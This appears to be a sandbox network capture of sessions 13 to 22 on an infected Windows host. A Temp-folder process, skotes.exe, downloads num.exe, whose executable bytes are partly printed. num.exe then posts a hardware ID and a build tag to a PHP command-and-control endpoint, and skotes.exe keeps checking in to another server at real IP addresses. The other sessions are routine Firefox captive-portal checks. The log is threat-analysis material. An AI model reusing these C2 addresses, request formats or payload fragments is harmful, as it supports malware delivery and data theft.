Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	63986	185.215.113.16	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:04:44.212696075 CET	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 03:04:45.134403944 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 02:04:44 GMT Content-Type: application/octet-stream Content-Length: 888832 Last-Modified: Sun, 27 Oct 2024 06:45:44 GMT Connection: keep-alive ETag: "671de198-d9000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,l@.@XP.$.text .rdata@@.data+@.reloc>K.LD@B
Oct 31, 2024 03:04:45.134427071 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba c2 41 00 b1 d1 41 00 1a d2 41 00 00 00 00 Data Ascii: AAAUQEE}tMUUEEE]UEExMUMMM]
Oct 31, 2024 03:04:45.134435892 CET	1236	IN	Data Raw: cc cc cc 55 8b ec 51 53 6a 04 68 00 30 00 00 68 c0 41 c8 17 6a 00 ff 15 30 72 6d 00 89 45 fc 50 83 f8 11 74 05 8b c0 fc 85 c9 0b c0 f8 58 83 7d fc 00 74 2c 90 8a c0 68 c0 9e e6 05 8b 45 fc 50 e8 3e 7a 01 00 53 8a c9 8a c9 fc 5b 68 00 80 00 00 68 Data Ascii: UQSjh0hAj0rmEPtX}t,hEP>zS[hhAMQpqm[]UQEjj@h0hjrmPrmE}ujqmR]U(EPqmMM}sjqm]
Oct 31, 2024 03:04:45.134486914 CET	1236	IN	Data Raw: c1 3c e8 98 95 01 00 8b 4d fc 83 c1 30 e8 8d 95 01 00 8b 4d fc e8 e5 00 00 00 8b e5 5d c3 cc 55 8b ec 51 89 4d fc 8b 45 08 50 8b 4d fc e8 0d 01 00 00 8b 4d 08 83 c1 30 51 8b 4d fc 83 c1 30 e8 fb 94 01 00 8b 55 08 83 c2 3c 52 8b 4d fc 83 c1 3c e8 Data Ascii: <M0M]UQMEPMM0QM0U<RM<EHPMHMUBTATMUBXAXMUB\A\MUB`A`MUBdAdMUBhAhMUBlAlMUBpApMUBtAtMUBxAxM\|QM\|M
Oct 31, 2024 03:04:45.134499073 CET	1236	IN	Data Raw: 8d 8d 94 fe ff ff e8 e0 91 01 00 8b c8 e8 69 92 01 00 8b c8 e8 d2 91 01 00 8b c8 e8 5b 92 01 00 8b c8 e8 54 92 01 00 8b c8 e8 4d 92 01 00 8b c8 e8 b6 91 01 00 50 8d 8d 94 fe ff ff e8 2a 91 01 00 8d 8d 6c fd ff ff e8 7f 90 01 00 8d 8d 78 fd ff ff Data Ascii: i[TMP*lxti^SH=R0Ph\|WB<QURHPhVBTQUR`P
Oct 31, 2024 03:04:45.134511948 CET	636	IN	Data Raw: 83 ec 0c 8b cc 52 e8 8c 8b 01 00 8b 45 fc 6b c0 2c 03 85 90 00 00 00 83 ec 0c 8b cc 50 e8 75 8b 01 00 8b 4d fc 6b c9 2c 8b 95 90 00 00 00 8b 44 0a 0c 50 8b 4d fc 6b c9 2c 8b 95 90 00 00 00 8d 44 0a 10 83 ec 0c 8b cc 50 e8 49 8b 01 00 e8 a4 f7 ff Data Ascii: REk,PuMk,DPMk,DPIXURM]UEsmsmUsmPsmAsmBsm]U}t#E8tMQ;U\|
Oct 31, 2024 03:04:45.134644032 CET	1236	IN	Data Raw: 08 89 45 fc 83 7d fc 00 75 16 8b 45 f8 50 8b 0d 98 73 6d 00 51 e8 41 fe ff ff 83 c4 08 89 45 fc 83 7d fc 00 75 04 33 c0 eb 54 8b 55 fc c7 02 00 00 00 00 6a 10 e8 61 fe ff ff 83 c4 04 03 45 f8 8b 4d fc 39 41 04 7e 2a 8b 55 fc 8b 42 04 2b 45 f8 50 Data Ascii: E}uEPsmQAE}u3TUjaEM9A~*UB+EPMQpEUEsmMQ ]UQ}ufEPEMUztEH9tUBPMQxUztEH9tUREH
Oct 31, 2024 03:04:45.134654999 CET	1236	IN	Data Raw: 00 83 c4 0c a3 50 6b 6d 00 6a 06 68 f8 20 42 00 68 00 21 42 00 e8 8d 1f 00 00 83 c4 0c a3 40 6f 6d 00 6a 07 68 08 21 42 00 68 10 21 42 00 e8 74 1f 00 00 83 c4 0c a3 1c 70 6d 00 6a 07 68 18 21 42 00 68 20 21 42 00 e8 5b 1f 00 00 83 c4 0c a3 d0 6a Data Ascii: Pkmjh Bh!B@omjh!Bh!Btpmjh!Bh !B[jmjh(!Bh4!BBnm]Ujh@!BhX!Bomlmjhp!Bhx!B\|nmjh!Bh!B@nmjhBhB
Oct 31, 2024 03:04:45.134671926 CET	424	IN	Data Raw: 6d 00 6a 0e 68 f0 25 42 00 68 00 26 42 00 e8 c0 1a 00 00 83 c4 0c a3 68 6e 6d 00 6a 09 68 10 26 42 00 68 1c 26 42 00 e8 a7 1a 00 00 83 c4 0c a3 5c 6d 6d 00 6a 0e 68 28 26 42 00 68 38 26 42 00 e8 8e 1a 00 00 83 c4 0c a3 a8 6d 6d 00 6a 20 68 48 26 Data Ascii: mjh%Bh&Bhnmjh&Bh&B\mmjh(&Bh8&Bmmj hH&Bhl&Bujmjh&Bh&B\ nmjh&Bh&BChmmjh&Bh&B*homjh&Bh&Blmjh'Bh'Bmmjh0'Bh<'B
Oct 31, 2024 03:04:45.134733915 CET	1236	IN	Data Raw: 6c 6d 00 6a 0b 68 10 28 42 00 68 1c 28 42 00 e8 17 19 00 00 83 c4 0c a3 e4 6e 6d 00 6a 0b 68 28 28 42 00 68 34 28 42 00 e8 fe 18 00 00 83 c4 0c a3 0c 6c 6d 00 6a 09 68 40 28 42 00 68 4c 28 42 00 e8 e5 18 00 00 83 c4 0c a3 20 6c 6d 00 6a 0c 68 58 Data Ascii: lmjh(Bh(Bnmjh((Bh4(Blmjh@(BhL(B lmjhX(Bhh(Bnmjhx(Bh(B`lmjh(Bh(Bomjh(Bh(Blmjh(Bh(Bhnmjh(Bh)BOpmjh )Bh<)B6
Oct 31, 2024 03:04:45.139592886 CET	1236	IN	Data Raw: 30 2f 42 00 e8 4e 14 00 00 83 c4 0c a3 0c 6e 6d 00 6a 10 68 40 2f 42 00 68 54 2f 42 00 e8 35 14 00 00 83 c4 0c a3 8c 6e 6d 00 6a 10 68 68 2f 42 00 68 7c 2f 42 00 e8 1c 14 00 00 83 c4 0c a3 6c 6e 6d 00 6a 10 68 90 2f 42 00 68 a4 2f 42 00 e8 03 14 Data Ascii: 0/BNnmjh@/BhT/B5nmjhh/Bh\|/Blnmjh/Bh/Bnmjh/Bh/Bomjh/Bh/Bkmjh/Bh0B\omjh0Bh0B@lmjh 0Bh00BDkmjh@0BhX0BmXmmj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	63996	185.215.113.206	80	6564	C:\Users\user\AppData\Local\Temp\1002767001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:04:49.611835957 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 03:04:50.520944118 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 03:04:50.644175053 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBAAAKFCAFIIDHIDGHIE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 33 42 36 31 37 32 45 44 33 41 39 32 31 32 37 33 37 30 37 38 35 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 2d 2d 0d 0a Data Ascii: ------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="hwid"13B6172ED3A92127370785------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="build"tale------FBAAAKFCAFIIDHIDGHIE--
Oct 31, 2024 03:04:50.924889088 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	63998	185.215.113.43	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:04:51.296575069 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 36 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002767001&unit=246122658369
Oct 31, 2024 03:04:52.224915981 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 02:04:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	64000	185.215.113.43	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:04:53.870275021 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 03:04:54.775486946 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 02:04:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	64002	34.107.221.82	80	8020	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:04:55.364747047 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 03:04:55.967195034 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 77622 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 03:05:00.539796114 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 03:05:00.665754080 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 77627 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	64005	185.215.113.43	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:04:56.287580013 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 33 32 41 37 34 42 36 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB32A74B65D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 03:04:57.198908091 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 02:04:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	64007	185.215.113.43	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:04:58.816540956 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 03:04:59.735876083 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 02:04:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	64011	34.107.221.82	80	8020	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:04:59.664081097 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 03:05:00.257430077 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 77649 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	64016	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:05:28.217422962 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 03:05:28.829756021 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 77677 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 03:05:28.874367952 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 03:05:29.000587940 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 77677 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 03:05:29.015366077 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 03:05:29.141551971 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 77678 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 03:05:29.292756081 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 03:05:29.421632051 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 77678 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 03:05:29.489953995 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 03:05:29.616110086 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 77678 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 03:05:29.676532984 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 03:05:29.806184053 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 77678 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	64017	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:05:28.217525959 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 03:05:28.823772907 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 77655 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 03:05:28.880320072 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 03:05:29.004729986 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 77655 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 03:05:29.164493084 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 03:05:29.288919926 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 77656 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 03:05:29.360867977 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 03:05:29.486463070 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 77656 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 03:05:29.549125910 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 03:05:29.674254894 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 77656 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
